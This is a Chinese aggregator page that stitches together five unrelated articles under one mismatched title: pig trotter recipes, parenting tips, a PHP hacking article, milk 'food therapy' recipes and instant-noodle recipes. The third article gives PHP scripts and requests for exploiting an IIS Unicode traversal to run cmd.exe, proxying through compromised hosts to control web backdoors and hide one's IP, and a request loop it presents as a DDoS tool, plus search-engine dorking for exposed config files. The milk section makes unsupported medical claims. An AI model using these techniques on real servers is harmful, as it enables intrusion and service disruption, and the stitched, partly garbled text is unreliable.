一 : 十款猪蹄另类吃法 抢先看
猪蹄含有丰富的胶原蛋白质，脂肪含量也比肥肉低，它能防治皮肤干瘪起皱、增强皮肤弹性和韧性，人们把猪蹄称为"美容食品" 和"类似于熊掌的美味佳肴"。猪蹄有多种不同的烹调作法，制作过程中不用加什么特别的材料，做出来的猪蹄又香又弹牙，饭桌上要是出现这道菜，相信会被一抢而空的哦！赶紧试试吧~
一、烤猪蹄
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用料：猪蹄4只、食盐5克、酱油5克、葱半根、姜5片、八角1个、花椒5克、桂皮1小段、干辣椒3个、蚝油2滴、黄酒15克、红糖5克、香叶2片、香菜2棵、麦芽糖1汤匙、植物油1汤匙、辣椒粉15克、花椒粉10克、花生仁(炒)20克、黄豆粉15克、细香葱1根、五香粉10克、卤汁20克
做法：
1、四只猪蹄清理净杂毛剁成16块，洗净，入冷水锅，同时加入生姜和黄酒，大火煮开，撇净浮沫，不用换锅直接加入冷冻的老卤汤块
2、煮沸的同时依然及时清理浮沫，新补适量葱姜蒜和八角、香叶、桂皮、花椒、干辣椒、五香粉等香料，煮开也完全没有浮沫了继续加入冰糖或红糖，补少量酱油
3、小火炖一小时以上，中途视情况补一点盐，关火前滴两滴蚝油，将猪蹄皮向下在卤水里浸泡至温热，烤前取出，取一大勺麦芽糖加热水化开
4、刷在猪蹄表面，刷好备用，烤架上刷少许植物油，下层用一个烤盘垫油纸或者锡纸接渣，烤架上摆开刷好糖水的猪蹄，中层或中下层烤制15分钟-1小时皆可
5、烤的时候准备干碟一份：就是把现辣椒粉和花椒粉、熟黄豆粉及花生仁碎、盐、五香粉、细香葱花、香菜等混合，猪蹄烤到表皮红亮吱吱冒油即可出炉，可干吃，也可裹干碟香料蘸食
二、猪蹄冰块
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用料：猪蹄4个、食盐5克、味精5克、葱3段、姜3片、八角5克、花椒3克、料酒1汤匙
做法：
1、准备原材料，并将一把螺丝刀插入猪蹄中，大火烧猪蹄片刻，去毛，泡入凉水中，大约几个小时后，用刀刮，去黑
2、第一次焯水去血沫，要凉水入锅，放入适量的葱、姜、花椒、料酒即可，第二次焯水去腥味，开水入锅
3、焯水后的猪蹄放入焖烧锅中，加入花椒、八角、葱、姜内胆煮20分钟后，移入焖烧锅中（先焖制4小时后，取出内胆再烧开2分钟，接着移入焖烧锅4小时即可）
4、总计8小时后，打开焖烧锅，撇去浮油，将猪蹄去骨，撕成块备用，将猪蹄倒入一料盒中，汤汁一起倒入，放冰箱冷藏一夜，冷藏后的蹄冻切成块即可
三、潇湘猪手
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用料：猪蹄1个、酱油1/2汤匙、冰糖1小把、葱15克、姜1块、蒜10克、八角2个、花椒20粒、干辣椒3个、料酒1汤匙、香醋1.5汤匙、香油1茶匙、植物油100毫升、香叶2片、白胡椒20粒、剁椒2汤匙、水适量、白糖1茶匙
做法：
1、猪手斩件，洗净去毛，猪手块与葱姜、1片香叶、1个八角、10粒花椒同煮30分钟后捞出在冷水中激一下
2、沥去水分后放入油锅中煎至表面微黄后捞出备用(传统做法是用油炸)，起油锅，放入葱姜蒜、1个八角、10粒花椒、1片香叶和干辣椒煸出香味
3、加入冰糖和猪手翻炒，烹入料酒和酱油，翻炒至猪手上色，烹入少量清水至没过猪手，小火收至汤汁浓稠
4、加入白胡椒和剁椒拌均匀，大火蒸30分钟，蒸的时候做料汁：起油锅，加入葱姜爆香后加入白糖和香醋调成料汁，淋入香油，蒸完以后将料汁淋入猪手中即可
四、腐乳猪蹄
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用料：猪蹄2个、葱10克、姜5片、八角2个、桂皮1段、生抽1小勺、老抽2小勺、白醋1大勺、白酒2小勺、腐乳(红)1块、白糖2小勺、水1大碗
做法：
1、买来的猪蹄放入清水中浸泡15分钟，水中加入1大勺白醋，然后用刀子将猪蹄上残留的细毛刮掉，葱姜切段备用，去毛的猪蹄用滚开水汆烫两次，去除猪蹄中的血沫和杂质，最后冲洗干净
2、洗净的猪蹄放入高压锅中，加入八角、桂皮、葱姜，加入2小勺白酒、2小勺老抽、1小勺生抽，将1块腐乳捣碎连同汁一起倒入锅中
3、加入2小勺白糖，最后加入1大碗热水，高压锅加盖开火炖煮1小时候，将炖好的猪蹄和汤汁一起放入炒锅中，继续炖煮15分钟
4、不断将汤汁淋在猪蹄上，最后汤汁收紧即可出锅
五、黄豆焖猪蹄
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用料：猪蹄1000克、黄豆200克、胡萝卜1根、食盐5克、冰糖1小块、姜3片、蒜5瓣、料酒2汤匙、生抽2汤匙、老抽半汤匙、豆瓣酱1汤匙、植物油1汤匙
做法
1、将干黄豆提前泡发，约1小时，将斩好的猪蹄洗干净，放进煮沸的水中焯水，去掉血沫
2、炒锅里放入少量植物油爆香姜片和蒜粒以及豆瓣酱，放入猪蹄，翻炒至表皮金黄
3、放入料酒、豆瓣酱、生抽、老抽、冰糖、盐，让每一块猪蹄都沾满酱料
4、把浸泡过的黄豆沥干水，加入到猪蹄中，翻炒均匀，往锅内注入没住猪手的开水烧开，再把锅中的所有材料倒入到电饭锅中，并且放入胡萝卜块，按下煮饭键，自动煮熟，即可上桌
六、酱猪蹄
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用料：猪蹄2只、冰糖1小把、葱半根、姜3片、八角1个、桂皮1块、料酒2大勺、生抽4大勺、老抽2大勺、香油数滴、香叶2片、大蒜3瓣、陈醋1勺
做法：
1、猪蹄提前泡水至少5小时以上，中间换水2、3次；凉水上锅，中大火烧开，保持沸腾5分钟
2、倒掉煮猪蹄的水，并将猪蹄冲洗干净，仔细检查，去除细毛和杂质；猪蹄放进砂锅，加入适量清水，加入葱姜和调料
3、大火煮开后，转小火，盖上盖子，微火保持微微沸腾，煮15分钟，关火焖30分钟，再开微火煮制微沸保持15分钟，再关火焖30分钟，再煮一次，差不多就熟烂了；取出猪蹄放进适合的容器
4、滤除汤汁中的杂质；用原汤汁浸泡猪蹄，并密封放进冰箱冷藏，冷藏至起冻，用小勺刮除表面的脂肪；取出猪蹄，切开或撕开、或连撕带切成大块儿
5、大蒜砸成泥，加入适量陈醋和香油，搅拌均匀成蒜泥；猪蹄装盘，与蒜泥一起上桌蘸食
七、柱候花生猪手煲
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用料：猪蹄3个、花生1碗、食盐5克、冰糖10克、葱1根、姜1块、八角3个、桂皮1小块、料酒1勺、生抽10克、蚝油10克、豆瓣酱15克、柱侯酱40克、草果1个、香叶4片、陈皮1小块、小葱1根、植物油适量、白酒少许
做法
1、将所有食材准备好：猪蹄洗净去毛，花生米提前用水泡上，然后用高压锅蒸十分钟或煮二十分钟(蒸花生的水不要倒掉，炖的时候一起放进去)
2、猪蹄从中切两半，冷水下锅焯，放两段葱几片姜和少许白酒去腥，煮开后撇沫捞出，趁热抹些老抽上色(老抽不用抹太多，上点色就可)
3、锅里多放点油，烧八成热，把猪蹄炸一下，不用炸太久，上色即出，炸到颜色油亮焦黄后捞出备用
4、锅坐少许油，下豆瓣酱炒出香味，然后下柱候酱炒香，酱炒好后，下猪手炒几下，下料酒出香气，然后把香料和调料数扔进去，再炒几下放花生(记得花生水也一齐倒入)，然后再加一些热水
5.另坐一个锅，将炸猪蹄的油烧热，把切好的葱段和姜片大火炸至金黄，趁热扔进炖猪蹄的锅里，大火坐开锅，然后盖盖小火炖最少两个小时;取一个砂煲，下边垫上生菜叶子，然后大火把猪蹄收汁到明亮汁粘稠时，倒进砂锅，放在火上煲开，撒小葱粒盖盖上桌
八、番茄猪手
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用料：猪蹄1个、樱桃番茄200克、食盐3克、姜1大块、料酒10克、生抽5克、老抽5克、蚝油5克、番茄酱20克、细香葱2根、红糖20克
做法
1、猪手请店家帮忙斩成件，洗净放入锅中，加入清水烧开，继续保持大火煮5分钟，使猪手的血沫溢出来，然后捞起过凉水，这样可以去除掉猪手的腥膻味
2、把处理好的猪手放到压力锅中，加入盐、生抽、老抽、料酒、蚝油、红糖、生姜、香葱和适量的清水，加盖锅盖，大火煮至开始喷气，调成中火再煮10分钟，关火
3、等压力锅内的气体放尽，打开盖子，锅里的余温让汤汁依然沸腾，小心烫手，洗干净番茄，对半切开，把番茄和番茄酱倒入锅内，再把锅置于灶上，开大火收汁即可
九、沙姜猪手
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用料：猪蹄1只、沙姜50克、色拉油1汤匙、食盐1/2茶匙、葱1段、八角1个、花椒10粒、干辣椒1个、老抽1/2汤匙、黑胡椒1/2茶匙、椒盐1/2茶匙、香叶2片、黄酒1/2汤匙
做法：
1、猪蹄斩小块洗净，入冷水锅加黄酒和几颗花椒煮滚后捞出洗净，汤水弃之，沙姜洗净切成薄片，葱切段
2、将猪蹄放入砂锅内，加水至猪蹄之上半指，放入葱、沙姜、花椒、干辣椒、八角、香叶，煮至筷子能戳动时，加老抽、少盐、黄酒大火煮滚转小火将猪蹄炖上色，关火
3、捞出猪蹄块，沥去汤汁，再用厨纸拭干，取一只小锅放多油，五成热时，将猪蹄皮朝下放入油中，炸至表皮金黄、微脆时取出
4、容器内铺上蔬菜叶，将猪蹄放入，撒上椒盐黑胡椒粉即可
十、芸豆猪手汤
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用料：猪蹄1个、芸豆(白)100克、枸杞子20粒、枣(干)3个、食盐4克、姜4片、料酒10克
做法
1、芸豆加入适量的清水，泡发2小时以上
2、猪蹄让卖家给剁成小块，回家后洗净，再把没剔除干净的毛拨掉。红枣洗净，枸杞泡清水，姜切片
3、锅内放水，放入料酒和姜，凉水把猪蹄放入，水开后焯1-2分钟，焯水去除血水和浮沫，焯好的猪蹄捞出备用
4、锅内放清水，放入猪蹄、红枣、芸豆和姜片，大火烧开，再转小火慢炖2个小时，至猪蹄软烂，芸豆软糯，加盐调味即可
二 : 宝宝的另类教育法
其实教育小孩子并不是采用一些死板的方法，而是渗透在生活中的点点滴滴，如果你还是不理解这句话的意思，那么就请看看以下的几个小实例吧，相信会对妈妈的育儿经起来良好的补充作用！
照顾宠物：培养起责任感
父母平时会教育孩子宽容、忠诚的好品质，但常常由于概念抽象，使得孩子难以理解和接受。其实在这方面，宠物可以助你一臂之力。专家认为：“养宠物可以培养孩子照顾另一种生物的责任感。照顾狗、猫等，可以让孩子懂得什么是责任感。”
譬如，当家里的小狗每天下午3点准时出现在门口等候小主人归来时，孩子就不难理解什么叫忠诚了。而且，小狗会不断将这个道理演示给小主人看。再比如，孩子有时会抓住小猫咪的尾巴，但事后，小猫还是不计较地和小主人一起玩。父母可以通过这件事教会孩子什么是宽容，同时告诉他对待别人的错误也要学会宽容。早教网
当然，如果父母工作很忙，没有时间养宠物，可以让孩子参与和邻居一起遛狗，或者在放假时让孩子给学校养的小豚鼠做个窝。通过这些活动，让孩子学会助人为乐，同时明白，对别人好，别人也同样会对你好。
直面失败：向天空大声呼喊
父母常常会鼓励孩子要树立远大的志向、拼搏向上，但面对他的失败，更多的常常是责怪和不知所措。
其实，孩子失败时也正是最需要亲情的时候。比如孩子参加比赛输了，此时最好的做法是，赶快让孩子离开现场，带他到一个只有你们两个人的地方，这样可以不让他在众多小伙伴面前失态而尴尬。然后，不妨让孩子发泄一会儿，并用温和而同情的目光安慰他的愤怒和失望的情绪。
同情可以使孩子感到被人理解，等他冷静下来，你就可以和他深入交谈了。这时千万不要说“胜败乃兵家常事”或者“你不应该为此灰心”之类的话，此时的他不需要大道理，也不需要模糊的建议。不妨对他说：“下次再输的话，你可以朝着天空大喊一声。”此类实际的建议，远比那些空洞的说教对孩子的身心更有帮助。早期教育
健康示爱：当着孩子轻歌曼舞
不少父母会认为，夫妻间在家的亲昵行为应该避开孩子，否则会对孩子成长产生不良影响。专家们却认为，父母间的相爱，反而对孩子的情感教育有益。
如果你们晚上想在家跳一会舞，完全可以当着孩子的面进行，因为，让孩子看到你们的轻歌曼舞，拥抱甚至亲吻是非常重要的。对于孩子而言，习惯于父母的亲密举动会使他们与周围朋友间的关系更融洽，尤其是对他们将来与所爱的人生活会更有指导意义。
幼儿教育小编总结:多学着从生活中的小事情总结育儿的经验，学会用新的角度去发现新的育方法，给予孩子最有效的指导，倘若你还在为教育孩子的一些事情而烦恼，那就敬请多关注此类的小文章吧！
三 : PHP在安全方面的另类应用
1.远程文件
PHP是一门具有丰富特性的语言，它提供了大量函数，使程序员能够方便地实现各种功能，远程文件就是一个很好的例子：
代码
$fp=@Fopen($url,"r") or die ("cannot open $url");
while($line=@fgets($fp,1024)) {
$contents.=$line;
}
echo $contents; //显示文件内容
fclose($fp); //关闭文件
?>
以上是一段利用Fopen函数打开文件的代码，由于Fopen函数支持远程文件，使得它应用起来相当有趣，将以上代码保存为Proxy.php，然后后提交：
代码
/proxy.php?url=http://www.hacker.com.cn/bbs
这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件，事实上PHP的大多数文件处理函数对远程文件都是透明的，比如请求：
代码
/proxy.php?url=http://target/ｓｃｒｉｐｔ/..%c1%1c../winnt/system32/cmd.exe?/c+dir
这样实际上是利用了Target主机上的Unicode漏洞，执行了DIR命令。但并不是所有的服务器都支持远程文件的功能，如果你使用的是商业的服务器，很可能会发现远程文件使用不了(如51的虚拟主机)，这是因为在商业主机上限制远程文件的功能，往往能够更好的保护服务器的正常运行。你可以通过PHPinfo()查看服务器是否支持这种功能。当然，在PHPinfo()被禁用的情况下，也可以使用Get_cfg_var()：
代码
echo "是否允许使用远程文件(allow_url_Fopen)";
?php
if (get_cfg_var("allow_url_Fopen")=="1")
{
echo("是");
}
else echo("否");
?>
当Allow_url_Fopen一项参数为ON时，即支持远程文件的功能。充分发挥远程文件的特性，我们可以实现许多特殊的功能：如果你是用过PHP Flame的最新版本，你会发现它在集文件夹复制、文本搜索等功能的基础上，又增加了Web间文件传输的功能，依靠这种功能，你可以随意将其他服务器上的文件传送到你的Web目录下。而且，在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码：
代码
$fp = Fopen($_GET['filename'], 'rb'); //打开文件
$data = $tmp = '';
while ( true ) {
$tmp = fgets($fp, 1024);
if ( 0 === strlen($tmp) ) {
break; //跳出while循环
}
$data .= $tmp;
}
fclose($fp); //关闭文件
$file=preg_replace("/^.+//","",$filename);//转换文件名
//write
$fp = Fopen("$file", 'wb'); //生成文件
fwrite($fp, $data); //写入数据
fclose($fp);
?>
在调用Fopen和Fwrite函数时加入"b"标记，可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交：
/down.php?filename=http://www.chinaz.com/winrar.zip
这时便会在Down.php的所处目录下生成相应的Winrar.zip文件。如果再配合遍历目录的功能，你将可以实现多个文件夹服务器间的传输。但是，远程文件应该还有更大的发挥空间，比如写SQL Injection攻击的自动脚本，甚至是HTTP的代理服务：
代码
$url = getenv("QUERY_STRING");
if(!ereg("^http",$url)) //检查输入的URL格式
{
echo "例子：
http://www.163.com/
";
echo "http://www.xxxx.com/list.php?id=600
";
echo "当URL为目录时需要在目录后加入"/"";
exit;
}
if($url)
$url=str_replace("","/",$url);
$f=@Fopen($url,"r"); //打开文件
$a="";
if($f)
{
while(!feof($f))
$a.=@fread($f,8000); //读取文件
fclose($f);
}
$rooturl = preg_replace("/(.+/)(.*)/i","1",$url); //转换根目录
$a = preg_replace("/(src[[:space:]]*=['"])([^h].*?)/is","1$rooturl2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'"].*?)/is","1$rooturl2",$a); //转换图片地址
$a = preg_replace("/(action[[:space:]]*=['"])([^h].*?)/is","1$php_self?$rooturl2",$a);
$a = preg_replace("/(action[[:space:]]*=)([^h'"].*?)/is","1$php_self?$rooturl2",$a); //转换POST地址
$a = preg_replace("/(
$a = preg_replace("/(
$a = preg_replace("/(link.+?href[[:space:]]*=[^'"])(.*?)/is","1$rooturl2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['"])(.*?)/is","1$rooturl2",$a); //转换样式表地址
echo $a;
exit;
?>
在正则表达式的帮助下，以上代码能够自行地将返回页面中包含的链接和图片进行转换，并把页面内的链接自动提交到当前PHP脚本的$url中。例如提交：
/proxy.php?http://www.xfocus.net/
脚本将会返回http://www.xfocus.net/的内容，如图1所示。
图1
当然，这运用的绝对不仅仅是框架的技巧。运用这个脚本你可以远程操作安置在其他服务器的Web后门，或者将肉鸡做成一个简单的HTTP代理，从而更好的隐藏自己的IP。如果使用PHP编写CGI扫描工具，你需要延长PHP的有效运行时间。以下是两种有效的方法，当然你也可以将PHP代码编译成GUI界面，从而解决这个问题。设置PHP的有效运行时间为三分钟：
代码
我们再看看这种功能在DDOS攻击中的应用：
代码
set_time_limit(60*3);
$url="http://www.xxx.com/bbs/userlist.php?userid=";
for($i=1131;$i<=1180;$i++)
{
$urls=$url.$i; //将$url与$i链接在一起
$f=@Fopen($urls,"r"); //请求$urls
$a=@fread($f,10); //取出部分内容
fclose($f); //关闭$urls
}
?>
以上用For循环不断地请求Userlist.php?userid=$i的内容($i的值每次都是不同的)，但是打开后仅仅取出几个字节便关闭这个脚本了。PHP运行在虚拟主机上，10秒钟便可以打开几十个URL，当同时运行多个进程时，便有可能实现DDOS攻击，让对方的论坛迅速崩溃。
限于版面，远程文件的内容就先说到这里了，如果你还有不明白的地方，请参考以下的这篇文章：《在PHP中使用远程文件》
2.错误回显
PHP在默认的情况下打开错误回显，这样可以便于程序员在调试脚本时发现代码的错误，但是这也往往使Web暴露了PHP的代码和服务器的一些数据。PHP对代码的规范性要求比较严格，以下是一种比较常见的错误回显：
warning:file("data/1120'.htm)-no such file or
directory in /usr/home/xxxxx.com/show.php on line 300
这种错误回显，至少告诉了我们三个信息：服务器的操作系统是LINUX;服务器使用文本数据库;Show.php的第300行代码为"file ("./data/1120/".$data.".htm")"。
这种错误回显，已经足以成为一台服务器致命的漏洞。从另一个利用的角度来看，我们发现一般的PHP错误回都包含了"warning"字符，但是这有什么用呢?我们得先认识一下PHP的库文件。
PHP的Include()和Require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。
最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个".inc"的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是".php"， ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者将容易得到这些信息。
按照以往的程序员的习惯，往往会把一些重要的文件设定"config.inc","coon.inc"等形式，如果我们在搜索引撃中搜索"warning+config.inc"，那么你会发现许多网站都暴露了".inc"文件的代码，甚至包括许多商业和政府网站，如图2所示。
图2
要关闭PHP的错误回显通常有两个方法，第一个是直接修改Php.ini中的设置，这我们以前已经介绍过了;第二种方法是在PHP脚本中加入抑制错误回显的代码，你可以在调用的函数前函数加入"@"字符，或者在PHP的代码顶端加入"error_reporting(0);"的代码，要了解更多的内容请参考PHP手册中的"error_reporting"一节。
(本文由责任编辑 pasu 整理发布)
四 : 牛奶的另类健康吃法
中医学认为，牛奶味甘性微寒，具有生津止渴、滋润肠道、清热通便、补虚健脾等功效。把牛奶进行适当的加工，或和其他食物一起进行调配，可制成各种“食疗牛奶”。由乳品加工厂生产的牛奶粥有多种配方，形成甜、咸等不同风味。其杀菌时间短，营养损失少。
1.牛奶粥。鲜牛奶250毫升、大米60克、白糖适量。先将大米煮成半熟，去米汤，加入牛奶，文火煮成粥，加入白糖搅拌，充分溶解即成。早晚温热服食，注意保鲜，勿变质。可补虚损，健脾胃，润五脏。适用于虚弱劳损、气血不足、病后虚赢、年老体弱、营养不良等症。
2.牛奶大枣汤。牛奶500毫升、大枣25克、大米100克。先将大米与大枣同煮成粥，然后加入牛奶，烧开即可，可补气血、健脾胃，适用于过劳体虚、气血不足等症。
3.羊肉奶羹。羊肉250克、生姜20克、山药100克、牛奶250毫升。将羊肉洗净切成小块，生姜切成片，一起放进砂锅，加水适量，文火炖7～8小时，搅匀，去除未烂残渣，留羊肉汤，加入切片山药，煮烂，再倒入牛奶，烧开即可。本品温中补虚，益精补气，适用于病后（产后）肢冷、疲倦、气短等症。可每天分数次服食，连服5～7天为一疗程。服本方时不宜同时吃其他药物，最好每天早晨辅食一次小米大枣莲子粥（小米60克、大枣10枚、莲子18克共煮成粥）。
4.鲜奶玉液。粳米60克、炸胡桃仁80克、生胡桃仁45克、白糖12克、牛奶200毫升。把粳米洗净，浸泡1小时捞出，滤干水分，和胡桃仁、牛奶加少量水搅拌磨细，用漏斗过滤取汁，将汁倒入锅内加水煮沸，加入白糖搅拌，待全溶后滤去渣，取滤液倒入锅内烧沸即成。本品可补脾肾，润燥益肺，适用于咳嗽、气喘、腰痛及津亏肠燥便秘等，并可作为病后体虚、神经衰弱、慢性支气管炎、性功能低下、老年便秘患者的膳食。空腹饮用或早晚佐食均可。
5.姜韭牛奶羹。韭菜250克、生姜25克、牛奶250毫升。将韭菜、生姜切碎、捣烂，以洁净纱布绞取汁液，再倒入锅内，加牛奶煮沸即可。本品可温胃健脾，适用于胃寒型胃溃疡、慢性胃炎、胃脘痛、呕吐等，可于每日早晚服用。另有一种姜汁牛奶，用生姜汁10克、白糖20克、牛奶200毫升，混匀煮沸即成。本品可益胃、降逆、止呕吐，适用于妊娠呕吐不能进食的妇女。
6.厚奶。把牛奶烧开加入3%～7%的淀粉或糕干粉、藕粉等，使牛奶变稠，稍加糖即可。本品适用于习惯性呕吐、反胃和需要增加能量的患者。
7.蛋奶。先将鸡蛋煮老，去掉蛋壳、蛋白，用勺子将蛋黄研碎，加入牛奶充分混合即可。蛋黄除含有蛋白质、脂肪、维生素A外，还含有铁、磷等物质。本品适用于缺铁性贫血，以及需要补充钙质的四五个月的婴儿。
五 : 泡面的多种另类吃法
洋芋片 1盒、葡萄果酱 1罐、牛奶 1盒、泡面 1/2包。
1、将洋芋片一半放上压碎的面条，另一半放上1/2大匙的果酱即可食用。
2、将牛奶倒入杯中，加入碎面条，就是1杯特制的玉米片早餐了。
3、使用泡面种类：任何一种泡面皆可
4、你可以任意调配自己喜欢的果酱，蓝莓、橘子、苹果，甚至花生酱都值得一试喔！
花生米(炒过的) 1杯、青蒜末 1/2杯、生辣椒末 1大匙、香菜末 1大匙、泡面 1/2包、泡面胡椒盐粉包 1包。
1、将泡面面条压碎后加入其它材料一起拌匀即可。
2、建议使用目前市面上的方便粉丝代替泡面
3、 因为青蒜加入胡椒盐粉会软化出水，因此最好要吃之前再加入胡椒盐粉调味，以免花生及泡面因水的缘故变得不脆，影响口感。
热狗面包 1个、沙拉酱 1大匙、蕃茄酱 1大匙、泡面面条 1/2包、泡面调理包 1包、泡面酸菜包 1包。
1、将泡面面条用热水冲泡3分分钟后沥干。
2、将面条、牛肉调理包、酸菜包依序夹入面包中，淋上沙拉酱及蕃茄酱即可。
3、使用泡面种类：清炖牛肉的比较合适
4、你可以购买任何一种自己喜欢的面包，例如法国面包可以做成潜艇堡、吐司可制成三明治，甚至可买单个圆形的杂粮面包，把面包中心挖空，填入泡面当面包馅，也是一种很不错的吃法喔！
鲑鱼片 1片(约180公克)、四季豆 6条、红萝卜 1/3条 、玉米 1/2条、太白粉 1小匙、水 1/3杯、米酒 1小匙、盐 2小匙、泡面面条 1/2包、泡面蒜辣酱料包 1包、泡面调理包 1包。
1、鲑鱼片用米酒及盐1小匙腌10分钟，将色拉油倒入平底锅中烧热，放入鲑鱼煎至两面呈金％％即可。
2、四季豆、红萝卜切段，玉米块切成2等份，放入热水中煮熟，热水中加1小匙盐。
3、将面条用热水冲泡3分钟后沥干，用蒜辣酱料包拌匀成干拌面。
4、将上述煮好的材料依序排入餐盘，将泡面调理包煮开，加入水及太白粉芶芡，淋在鲑鱼片上即可。
本文标题：泡面的另类吃法-十款猪蹄另类吃法 抢先看
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